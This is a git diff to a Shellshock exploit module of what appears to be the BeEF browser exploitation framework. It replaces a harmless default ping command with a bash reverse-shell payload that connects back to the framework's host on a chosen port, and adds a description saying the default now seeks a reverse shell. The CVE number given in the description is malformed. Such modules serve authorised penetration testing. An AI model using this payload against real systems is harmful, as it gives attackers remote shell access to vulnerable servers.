diff --git a/modules/exploits/shell_shocked/config.yaml b/modules/exploits/shell_shocked/config.yaml
index f19f4298b..df3edd907 100644
--- a/modules/exploits/shell_shocked/config.yaml
+++ b/modules/exploits/shell_shocked/config.yaml
@@ -9,6 +9,6 @@ beef:
             enable: true
             category: "Exploits"
             name: "Shell Shock"
-            description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code"
+            description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code. The default command attempts to get a reverse shell.<br/>Note: Set the LHOST and LPORT."
             target:
                 working: ["All"]
diff --git a/modules/exploits/shell_shocked/module.rb b/modules/exploits/shell_shocked/module.rb
index 4f884ad15..133ba7f52 100644
--- a/modules/exploits/shell_shocked/module.rb
+++ b/modules/exploits/shell_shocked/module.rb
@@ -6,10 +6,15 @@
 class Shell_shocked < BeEF::Core::Command
 
   def self.options
+    configuration = BeEF::Core::Configuration.instance
+    lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+    lhost = "LHOST" if lhost == "0.0.0.0"
+    payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1"
+
     return [
         {'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'},
         { 'name' => 'method', 'ui_label' => 'HTTP Method',  'value' => 'GET' },
-        {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'}
+        {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload}
     ]
   end